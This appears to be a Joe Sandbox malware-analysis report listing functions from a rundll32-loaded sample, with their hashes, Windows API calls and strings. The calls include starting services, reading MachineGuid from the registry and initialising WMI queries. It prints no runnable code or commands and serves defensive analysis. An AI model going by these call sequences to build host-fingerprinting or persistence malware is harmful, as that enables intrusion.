Opcode ID: f77a044da439b03226cd468948dcd4cbab786560dcd0d87402c68f89ff4431ac
Instruction ID: 39eb38d9a316ae959732defb5f9e48db6f1cd4d99b1c3273c7e09d09ea31e7c6
Opcode Fuzzy Hash: f77a044da439b03226cd468948dcd4cbab786560dcd0d87402c68f89ff4431ac
Instruction Fuzzy Hash: 8EE1BA32751A948AEB7ACF75E4487ED37B1E72EB88F014112CA4A43B8EDB39C451CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD9773160 Relevance: 9.1, APIs: 6, Instructions: 60
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.ADVAPI32 ref: 0000021BD977318E
OpenServiceW.ADVAPI32 ref: 0000021BD97731B6
QueryServiceStatusEx.ADVAPI32 ref: 0000021BD97731E6
StartServiceA.ADVAPI32 ref: 0000021BD97731FF
CloseServiceHandle.ADVAPI32 ref: 0000021BD9773216
CloseServiceHandle.ADVAPI32 ref: 0000021BD977321F

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: Service$CloseHandleOpen$ManagerQueryStartStatus
String ID:
API String ID: 2710452061-0
Opcode ID: 214dddb1f763d78f3620cfb87980247e86df52f2240b1a5cb501b5421a3d5818
Instruction ID: bcb0ef43083417bd00fd23b568b4fe7d556332383e6e06a82d3f990f4756f47e
Opcode Fuzzy Hash: 214dddb1f763d78f3620cfb87980247e86df52f2240b1a5cb501b5421a3d5818
Instruction Fuzzy Hash: 01212932715B4082EB59DF26F8187AA62B2FB9DF85F5A40259E4E43768DF3CC505CA80

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD9781310 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 66
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 0000021BD978134D
GetProcAddress.KERNEL32 ref: 0000021BD9781369
RegOpenKeyExW.ADVAPI32 ref: 0000021BD97813BF
RegCloseKey.ADVAPI32 ref: 0000021BD97813D1

Strings

Advapi32.dll, xrefs: 0000021BD9781346
RegOpenKeyTransactedW, xrefs: 0000021BD978135F

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: AddressCloseHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 823179699-3913318428
Opcode ID: 0553659cee33d29744a1fc3eb833766587aabe176e0b319cf8d3e3506709ef90
Instruction ID: ab43933b5a319f619260e585a1ed49e46abe8f73f3b4af9cdf011a10220c9a39
Opcode Fuzzy Hash: 0553659cee33d29744a1fc3eb833766587aabe176e0b319cf8d3e3506709ef90
Instruction Fuzzy Hash: CF212C32705B40C6EB2A8F12F4583AEB2B5F7ACB94F5A41259A8E47F58DB7CC445C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD9781EB0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCloseKey.ADVAPI32 ref: 0000021BD9781FCD

Part of subcall function 0000021BD978EF6C: _onexit.LIBCMT ref: 0000021BD978EF70

RegCloseKey.ADVAPI32 ref: 0000021BD9782019

Strings

<, xrefs: 0000021BD9781F66
Software\Microsoft\Cryptography, xrefs: 0000021BD9781F4A
MachineGuid, xrefs: 0000021BD9781F78

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: Close$_onexit
String ID: <$MachineGuid$Software\Microsoft\Cryptography
API String ID: 679598243-1392123531
Opcode ID: bbb74fdea1a37ae0c6485775b9d440940e110de75a17aa8aa393fc2264bd03ab
Instruction ID: 09d53fac9b6ed0c2e907ebdd5099e601bffedfa00746923485af168e45a8e9f7
Opcode Fuzzy Hash: bbb74fdea1a37ae0c6485775b9d440940e110de75a17aa8aa393fc2264bd03ab
Instruction Fuzzy Hash: 45516031519780C1EB2E8F15F8483EAB3B4FBA87A8F411215EA9947AEDDB7CD144CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD9773020 Relevance: 6.0, APIs: 4, Instructions: 40
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.ADVAPI32 ref: 0000021BD977303F
OpenServiceW.ADVAPI32 ref: 0000021BD9773063
CloseServiceHandle.ADVAPI32 ref: 0000021BD977307B
CloseServiceHandle.ADVAPI32 ref: 0000021BD9773084

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: Service$CloseHandleOpen$Manager
String ID:
API String ID: 4196757001-0
Opcode ID: ab801d59eec6f57236bdcd5a744df2951e6639a0f7daccce9e68e227b0fdf9a5
Instruction ID: 142ddc5aca33e90dd5978592024b7abd0d1fbb40980d3186dc7a92dbb2fae3a1
Opcode Fuzzy Hash: ab801d59eec6f57236bdcd5a744df2951e6639a0f7daccce9e68e227b0fdf9a5
Instruction Fuzzy Hash: 33017832715A5082EB4D8B12F4482AD62A2F78CFC8F48402AEE4E47B58DF2CC494C744

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD97838B0 Relevance: 4.6, APIs: 3, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 0000021BD97838E6
CommandLineToArgvW.SHELL32 ref: 0000021BD97838F4
LocalFree.KERNEL32 ref: 0000021BD978395F

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: CommandLine$ArgvFreeLocal
String ID:
API String ID: 1415666456-0
Opcode ID: 9971edf5245e556077d501e641db873fb8bc54e90b49bbdb44d96355dddf8857
Instruction ID: 3e9e2eed115ddee56d12684873a1c93789aa75a53e3cce5ec0b15058b6afc26e
Opcode Fuzzy Hash: 9971edf5245e556077d501e641db873fb8bc54e90b49bbdb44d96355dddf8857
Instruction Fuzzy Hash: 13117F32605B80C6E61A9F59F4842A9B770F759BF5F165320DEA9137E8CF78C492C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD943EC74 Relevance: 2.5, APIs: 2, Instructions: 19
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapFree.KERNEL32 ref: 0000021BD943EC8A
GetLastError.KERNEL32 ref: 0000021BD943EC9C

Memory Dump Source

Source File: 00000021.00000002.1413636463.0000021BD9430000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9430000_rundll32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 18957f0b90a0197ca05f704fbae4bf14760c3bed9639c224ca043b84fb010b16
Instruction ID: 4ee1b391253d16d0b130ab83b927e4ec71bf7e6bf70785914ef52cbbf20ed9a2
Opcode Fuzzy Hash: 18957f0b90a0197ca05f704fbae4bf14760c3bed9639c224ca043b84fb010b16
Instruction Fuzzy Hash: 6AE0EC70752A4683FF7EAFF2B86D3EA22F15F6CB51F04442499058629BEF2888814E04

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD9781410 Relevance: 1.6, APIs: 1, Instructions: 50
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryValueExW.ADVAPI32 ref: 0000021BD978144D

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 55c8dbb83c5feb7908ef0d0271c9275630603285e730263c07565aa35fcc7b68
Instruction ID: 6ee5bd20923cffa953c9fc4fcb92e899e8fdd53c8a97f56c7c08cc3a075c4607
Opcode Fuzzy Hash: 55c8dbb83c5feb7908ef0d0271c9275630603285e730263c07565aa35fcc7b68
Instruction Fuzzy Hash: D7115E33714A9087EB198F18F44069EB3B0F7A9B94F590525EB8887B6CDB39C850CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD943ED6C Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 0000021BD943EDC1

Memory Dump Source

Source File: 00000021.00000002.1413636463.0000021BD9430000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9430000_rundll32.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 567ac8b658571e8edd54920d4acff0639bf70142fafbc6dbc0ccbf2dae28e17e
Instruction ID: 7f97bb38f4361856aae31f3e03d5b5ba16788b4c811a03605ed9b0d97e0d1b8e
Opcode Fuzzy Hash: 567ac8b658571e8edd54920d4acff0639bf70142fafbc6dbc0ccbf2dae28e17e
Instruction Fuzzy Hash: C6F01DB4392A0682FE7E5FB2B8593E712B55F6CB90F0C59345D0A866DBDF1CC5814A20

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD943ECB4 Relevance: 1.3, APIs: 1, Instructions: 29
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 0000021BD943ECF2

Memory Dump Source

Source File: 00000021.00000002.1413636463.0000021BD9430000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9430000_rundll32.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: aecccbe1750dded7618ed555b2339aafc997985ebbc9dff69b196f934cd2aa51
Instruction ID: c6ff90b78bd5c84389ac91506272ddb8ae1c4d32e251c5c8b3caeb4c42156b3c
Opcode Fuzzy Hash: aecccbe1750dded7618ed555b2339aafc997985ebbc9dff69b196f934cd2aa51
Instruction Fuzzy Hash: 95F01270396A4546FA7E6FB1786D3EB11B09BAC7B1F0847245C2A852CBDB68C5415E10

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0000021BD9786A20 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 77commemoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32 ref: 0000021BD9786A55
CoInitializeSecurity.OLE32 ref: 0000021BD9786A80
CoCreateInstance.OLE32 ref: 0000021BD9786A9F
SysAllocString.OLEAUT32 ref: 0000021BD9786AAC
CoSetProxyBlanket.OLE32 ref: 0000021BD9786B1D
SysFreeString.OLEAUT32 ref: 0000021BD9786B2D

Part of subcall function 0000021BD9782C60: _CxxThrowException.LIBCMT ref: 0000021BD9782C74

Strings

ROOT\CIMV2, xrefs: 0000021BD9786AA5

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: InitializeString$AllocBlanketCreateExceptionFreeInstanceProxySecurityThrow
String ID: ROOT\CIMV2
API String ID: 2007483139-2786109267
Opcode ID: 0441b7f4c536da0f5621f33cab7e5beef2cb2d5d0bc86b59850c1ccfd614b649
Instruction ID: 69fc17fb3775c94673bfdd429d1ae23d78ae27236319fd2c3ac0f76df6862b30
Opcode Fuzzy Hash: 0441b7f4c536da0f5621f33cab7e5beef2cb2d5d0bc86b59850c1ccfd614b649
Instruction Fuzzy Hash: D631AE32215B40C6E725CF25F848B8A7BB0F398F64F554219EB9A43B68CF39C145CB04

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD978B770 Relevance: 15.1, APIs: 10, Instructions: 92COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD978B7C7

Part of subcall function 0000021BD97A5C04: _lock.LIBCMT ref: 0000021BD97A5C16

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0000021BD978B80A

Part of subcall function 0000021BD97A62F0: setlocale.LIBCMT ref: 0000021BD97A6304
Part of subcall function 0000021BD97A62F0: setlocale.LIBCMT ref: 0000021BD97A632D

_Getcvt.LIBCPMT ref: 0000021BD978B814

Part of subcall function 0000021BD97A5E70: ___lc_codepage_func.LIBCMT ref: 0000021BD97A5E94
Part of subcall function 0000021BD97A5E70: ___mb_cur_max_func.LIBCMT ref: 0000021BD97A5E9B
Part of subcall function 0000021BD97A5E70: ___lc_locale_name_func.LIBCMT ref: 0000021BD97A5EA3

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0000021BD978B83C

Part of subcall function 0000021BD97A635C: setlocale.LIBCMT ref: 0000021BD97A6376

free.LIBCMT ref: 0000021BD978B84B

Part of subcall function 0000021BD978DEBC: HeapFree.KERNEL32 ref: 0000021BD978DED2
Part of subcall function 0000021BD978DEBC: _errno.LIBCMT ref: 0000021BD978DEDC
Part of subcall function 0000021BD978DEBC: GetLastError.KERNEL32 ref: 0000021BD978DEE4

free.LIBCMT ref: 0000021BD978B85D
free.LIBCMT ref: 0000021BD978B86F
free.LIBCMT ref: 0000021BD978B881
free.LIBCMT ref: 0000021BD978B893
free.LIBCMT ref: 0000021BD978B8A5

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: free$setlocalestd::_$Locinfo::_$ErrorFreeGetcvtHeapLastLocinfo_ctorLocinfo_dtorLockitLockit::____lc_codepage_func___lc_locale_name_func___mb_cur_max_func_errno_lock
String ID:
API String ID: 3682056076-0
Opcode ID: 68b7f1a8bf07a51adaa8189d5d8e9b9c2860fd0984f654e03e8d231f7cc0f242
Instruction ID: 6822a8005963fa9e6b267695f15d5d03154b04adf08ba1f06d93b4e1180194a2
Opcode Fuzzy Hash: 68b7f1a8bf07a51adaa8189d5d8e9b9c2860fd0984f654e03e8d231f7cc0f242
Instruction Fuzzy Hash: D3417F32B45B4089EB1ADFB4E4542DC33B8EB68B98F06421ACA5D23B9DDF30C556C384

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD97C07D4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD97C07F5

Part of subcall function 0000021BD97A5C04: _lock.LIBCMT ref: 0000021BD97A5C16

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD97C081A
moneypunct.LIBCPMT ref: 0000021BD97C089D
std::bad_exception::bad_exception.LIBCMT ref: 0000021BD97C08B4
_CxxThrowException.LIBCMT ref: 0000021BD97C08C5
std::_Facet_Register.LIBCPMT ref: 0000021BD97C08E3

Strings

bad cast, xrefs: 0000021BD97C08A8

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrow_lockmoneypunctstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 3809448442-3145022300
Opcode ID: fe302a3a47f4972d20f52c7d615eb687916a31aba3df9ad5da7d1b00f9119e05
Instruction ID: ef739c33d0a2b876fe4886a857507621e143973b510298a8b57aa3b8acbc9702
Opcode Fuzzy Hash: fe302a3a47f4972d20f52c7d615eb687916a31aba3df9ad5da7d1b00f9119e05
Instruction Fuzzy Hash: 1A315636606A0081FE1EDF15F8483D967B1F7A8BA4F1A4221DA6D576EDDB38C442C784

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD97AB8AC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD97AB8CD

Part of subcall function 0000021BD97A5C04: _lock.LIBCMT ref: 0000021BD97A5C16

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD97AB8F2
messages.LIBCPMT ref: 0000021BD97AB975
std::bad_exception::bad_exception.LIBCMT ref: 0000021BD97AB98C
_CxxThrowException.LIBCMT ref: 0000021BD97AB99D
std::_Facet_Register.LIBCPMT ref: 0000021BD97AB9BB

Strings

bad cast, xrefs: 0000021BD97AB980

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrow_lockmessagesstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 620047600-3145022300
Opcode ID: 20dd446f3c0e92ad09663dff0b851117d473e5805bcaa8f465b61c8d19aa63a3
Instruction ID: c95114e188d89cbb228e3428f961c29b763ce962338e83b96280c7dcdf947e16
Opcode Fuzzy Hash: 20dd446f3c0e92ad09663dff0b851117d473e5805bcaa8f465b61c8d19aa63a3
Instruction Fuzzy Hash: 3A315432205A01D1FA1E9F26F4582E96770F7A8BA0F160221DB6D577EDDB34C846C704

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD97AB77C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD97AB79D

Part of subcall function 0000021BD97A5C04: _lock.LIBCMT ref: 0000021BD97A5C16

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD97AB7C2
messages.LIBCPMT ref: 0000021BD97AB845
std::bad_exception::bad_exception.LIBCMT ref: 0000021BD97AB85C
_CxxThrowException.LIBCMT ref: 0000021BD97AB86D
std::_Facet_Register.LIBCPMT ref: 0000021BD97AB88B

Strings

bad cast, xrefs: 0000021BD97AB850

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrow_lockmessagesstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 620047600-3145022300
Opcode ID: 3e14a9a96d06dade7bc1e45b226370167d706f0c4fc128279b098d10c87bebe7
Instruction ID: e563526afcd6031fccb6b7588d60688111307ce3f96fe7dc37182ee8f5eb9769
Opcode Fuzzy Hash: 3e14a9a96d06dade7bc1e45b226370167d706f0c4fc128279b098d10c87bebe7
Instruction Fuzzy Hash: 46314F31605A0091FA1E9F29F8482D967B1F7A8BB0F560222DA6D577EDDB38C842C748

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD9780780 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 227COMMON

Download Yara Rule

APIs

_wassert.LIBCMT ref: 0000021BD97809E0

Strings

yxxxxxxx, xrefs: 0000021BD97807CE
yxxxxxxx, xrefs: 0000021BD9780903
item.pad_scheme_ & format_item_t::tabulation, xrefs: 0000021BD97809D9
string too long, xrefs: 0000021BD97808AA
D:\boost_1_55_0\boost/format/format_implementation.hpp, xrefs: 0000021BD97809D2

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: _wassert
String ID: D:\boost_1_55_0\boost/format/format_implementation.hpp$item.pad_scheme_ & format_item_t::tabulation$string too long$yxxxxxxx$yxxxxxxx
API String ID: 3234217646-2468461425
Opcode ID: 1fa08d2f91040d8fa9795af1eb2b287a49ec0b50a0769b949e19401c94313a04
Instruction ID: c1bd75971d6e044077825776499a8edc947220a0fc9eefb27ee8a5e6a6e8abf2
Opcode Fuzzy Hash: 1fa08d2f91040d8fa9795af1eb2b287a49ec0b50a0769b949e19401c94313a04
Instruction Fuzzy Hash: 5EA19A32301A809AFB1A9F65E4483EC73B1FB287A8F418615DE6D1BBD9EB74C254C344

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD9799870 Relevance: 10.7, APIs: 7, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_crt.LIBCMT ref: 0000021BD9799899

Part of subcall function 0000021BD9792D58: malloc.LIBCMT ref: 0000021BD9792D83
Part of subcall function 0000021BD9792D58: Sleep.KERNEL32(?,?,00000000,0000021BD9792BF4,?,?,00000000,0000021BD9792AF3,?,?,?,?,?,?,00000000,0000021BD9794B66), ref: 0000021BD9792D96

free.LIBCMT ref: 0000021BD979999A
free.LIBCMT ref: 0000021BD97999B6

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: free$Sleep_malloc_crtmalloc
String ID:
API String ID: 2523592665-0
Opcode ID: 949a99f4284c4aea7fae5dc3e1ab508b2c8e6072d3a24961d757fd7cbb04e7b1
Instruction ID: 82d65ff31991470c8aad7c1f65c5118a006cc286cf7f4e7f30c319e544195b39
Opcode Fuzzy Hash: 949a99f4284c4aea7fae5dc3e1ab508b2c8e6072d3a24961d757fd7cbb04e7b1
Instruction Fuzzy Hash: A361A036301B00A2FB2AEF16F94539973B4F7ACB94F0602259E5D07B59EF38C4618344

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD97AC81C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD97AC83D

Part of subcall function 0000021BD97A5C04: _lock.LIBCMT ref: 0000021BD97A5C16

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD97AC862
std::bad_exception::bad_exception.LIBCMT ref: 0000021BD97AC8FC
_CxxThrowException.LIBCMT ref: 0000021BD97AC90D
std::_Facet_Register.LIBCPMT ref: 0000021BD97AC92B

Strings

bad cast, xrefs: 0000021BD97AC8F0

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrow_lockstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 1776536810-3145022300
Opcode ID: 0b73b8f525e01a9f46f80400072aea4755dd271b0376d66c9c9dd3b6da91175b
Instruction ID: 211415b8410f5db7373c0a082e12dc3fdde252a38a54fe45fbf528fce8261267
Opcode Fuzzy Hash: 0b73b8f525e01a9f46f80400072aea4755dd271b0376d66c9c9dd3b6da91175b
Instruction Fuzzy Hash: A3316231615A0091FA1FAF25F8483D96770F7B87A0F1A02229A6D577EDDB38C446C708

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD97AC6EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD97AC70D

Part of subcall function 0000021BD97A5C04: _lock.LIBCMT ref: 0000021BD97A5C16

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD97AC732
std::bad_exception::bad_exception.LIBCMT ref: 0000021BD97AC7CC
_CxxThrowException.LIBCMT ref: 0000021BD97AC7DD
std::_Facet_Register.LIBCPMT ref: 0000021BD97AC7FB

Strings

bad cast, xrefs: 0000021BD97AC7C0

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrow_lockstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 1776536810-3145022300
Opcode ID: 3d8df6f3bf81eb32f026258d047f26bbcb9654a14ad38daab19d9bd15a25db59
Instruction ID: 7c74b15aca31a3336194fb45ce03c78abc86990ebc60dbab412d5d6d4e92c450
Opcode Fuzzy Hash: 3d8df6f3bf81eb32f026258d047f26bbcb9654a14ad38daab19d9bd15a25db59
Instruction Fuzzy Hash: E5315031205A0491FA1EEF65F8482D96771F7B8BA4F5A0221DB6D576EDDB38C842C704

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD97C0A34 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD97C0A55

Part of subcall function 0000021BD97A5C04: _lock.LIBCMT ref: 0000021BD97A5C16

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD97C0A7A
std::bad_exception::bad_exception.LIBCMT ref: 0000021BD97C0B14
_CxxThrowException.LIBCMT ref: 0000021BD97C0B25
std::_Facet_Register.LIBCPMT ref: 0000021BD97C0B43

Strings

bad cast, xrefs: 0000021BD97C0B08

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: std::_$LockitLockit::_$ExceptionFacet_RegisterThrow_lockstd::bad_exception::bad_exception
String ID: bad cast
API String ID: 1776536810-3145022300
Opcode ID: e50eed49257935721c4a1d37475239e0b0350abd9fed012c22240a7d6225b3f7
Instruction ID: 3f9f2bb31600283a949ed60751b61765157cd47a7ad1e7a65f3ecc31ecf6dd69
Opcode Fuzzy Hash: e50eed49257935721c4a1d37475239e0b0350abd9fed012c22240a7d6225b3f7
Instruction Fuzzy Hash: 59316236205A4081FE1EDF29F8492DE6771F7AC7A0F1A06229A6D577EDDB38C846C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD9787A20 Relevance: 9.2, APIs: 6, Instructions: 235COMMON

Download Yara Rule

APIs

wcsstr.LIBCMT ref: 0000021BD9787AB9
wcsstr.LIBCMT ref: 0000021BD9787ADD
wcsstr.LIBCMT ref: 0000021BD9787B96
memmove_s.LIBCMT ref: 0000021BD9787BEA

Part of subcall function 0000021BD9791110: _errno.LIBCMT ref: 0000021BD9791123
Part of subcall function 0000021BD9791110: _invalid_parameter_noinfo.LIBCMT ref: 0000021BD979112F

memcpy_s.LIBCMT ref: 0000021BD9787C28
wcsstr.LIBCMT ref: 0000021BD9787C77

Part of subcall function 0000021BD9782C60: _CxxThrowException.LIBCMT ref: 0000021BD9782C74

Memory Dump Source

Source File: 00000021.00000002.1413847695.0000021BD9770000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021BD9770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_21bd9770000_rundll32.jbxd

Similarity

API ID: wcsstr$ExceptionThrow_errno_invalid_parameter_noinfomemcpy_smemmove_s
String ID:
API String ID: 3024022055-0
Opcode ID: 6554e17a2c55d0412ddbebdcd1317d386d51ed6453d327dea359b2d56a32364e
Instruction ID: 5fbde61d3256c16625b300a15324c3c0129228e3973573ac57b11b385d82ed2a
Opcode Fuzzy Hash: 6554e17a2c55d0412ddbebdcd1317d386d51ed6453d327dea359b2d56a32364e
Instruction Fuzzy Hash: D491C431300B4482EA1F9F29F49C3EAA7B1FBA8B94F164615DA6E477ECDF78C4509600

Uniqueness

Uniqueness Score: -1.00%

Function 0000021BD9777710 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0000021BD9777730

Part of subcall function 0000021BD97A5C04: _lock.LIBCMT ref: 0000021BD97A5C16

std::exception::exception.LIBCMT ref: 0000021BD977777F

Part of subcall function 0000021BD978F888: std::exception::_Copy_str.LIBCMT ref: 0000021BD978F8A7

_CxxThrowException.LIBCMT ref: 0000021BD977779D

Part of subcall function 0000021BD978EF84: RtlPcToFileHeader.KERNEL32 ref: 0000021BD978EFF2
Part of subcall function 0000021BD978EF84: RaiseException.KERNEL32 ref: 0000021BD978F031

